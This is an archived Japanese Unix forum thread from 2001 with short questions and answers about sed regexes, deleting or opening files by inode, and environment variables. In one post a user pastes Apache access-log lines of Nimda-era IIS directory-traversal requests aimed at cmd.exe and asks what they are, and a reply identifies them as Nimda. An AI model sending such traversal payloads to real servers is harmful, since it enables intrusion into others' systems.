■掲示板に戻る■ 1- 最新10

レス数が950を超えています。1000を超えると表示できなくなるよ。

くだらない質問はここに書き込め!なんでもアリ3

[90:名無したん (01/10/16 15:58)]
>>89
うわっ s/Juliet/Joliet/ だった・・鬱市


[91:ななし (01/10/16 19:11)]
>>84
さんきゅー!
2つめはわかるけど、1つめは
正規表現がよくわからん


[92:名無しさん@お腹いっぱい。 (01/10/16 19:31)]
>>91
行頭の「空白以外の文字がいくつか+空白一つ」を削除。


[93:名無しさん@お腹いっぱい。 (01/10/16 20:09)]
inodeの指定でファイルをオープンしたり削除する方法
が無いでしょうか?


[94:名無しさん@お腹いっぱい。 (01/10/16 20:20)]
>>93
削除なら
$ find ディレクトリ -inum 番号 -delete
でいけるかモナー


[95:名無しさん@お腹いっぱい。 (01/10/16 20:27)]
>>93

削除は原理的に無理。そもそもファイル名のないファイル(inode)だって存在
するし(作成したあと、オープンしたまま unlink すればできる)、ファイル名
だって複数存在するので。どうしても削除したければ、ディレクトリ・ツリー
を全走査して、inode番号の適合したファイルを消すしかない。

オープンについては、BSD 系フリー UNIX ならどれでも、NetBSD から派生し
た fhopen(2)があるので、一応は可能。もっとも、fhopen(2) の正規の利用法
はgetfh(2) で得たファイルハンドルを使うことなので、inode を直接指定し
ようと思ったら、OSのバージョンやファイルシステムの種類と実装に依存した、
汚い手を使う必要はある。あと、この方法だと、ディレクトリに関するアクセ
ス権限を完全に迂回するので、root 権限が必要になる。

# fhopen(2) は、crash recovery 機能を備えたユーザーレベル NFS サーバー
# を実装するのに必要なのね。


[96:名無しさん@お腹いっぱい。 (01/10/16 21:34)]
子プロセスから親プロセスの環境にアクセスする方法って存在しますか?教えてください。

よろしくお願いします。


[97:名無しさん@お腹いっぱい。 (01/10/16 22:57)]
環境ではなく環境変数でした。お願いします。


[98:名無しさん@お腹いっぱい。 (01/10/17 00:49)]
Apacheのログにこんなのがびっしりあった。

qknwd0rws4sq1q0 - - [11/Oct/2001:20:27:10 +0900]
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 302
programmer - - [11/Oct/2001:20:24:55 +0900]
"GET /scripts/root.exe?/c+dir HTTP/1.0" 403 280
61.144.*.* - - [11/Oct/2001:20:00:40 +0900]
"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 302
61-218-*-*.*.hinet.net - - [11/Oct/2001:19:50:21 +0900]
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 302
n*-04p*.ppp11.odn.ad.jp - - [11/Oct/2001:19:29:14 +0900]
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 403 335

…なんすかこれ?NIMDA関係?
ちなみにうちはNT/IISじゃないので関係無いですが。


[99:名無しさん@お腹いっぱい。 (01/10/17 00:55)]
NIMDA関係です。


次10 前10 最新10
NAME:MAIL:

read.cgi ver5.26+ (01/10/21-)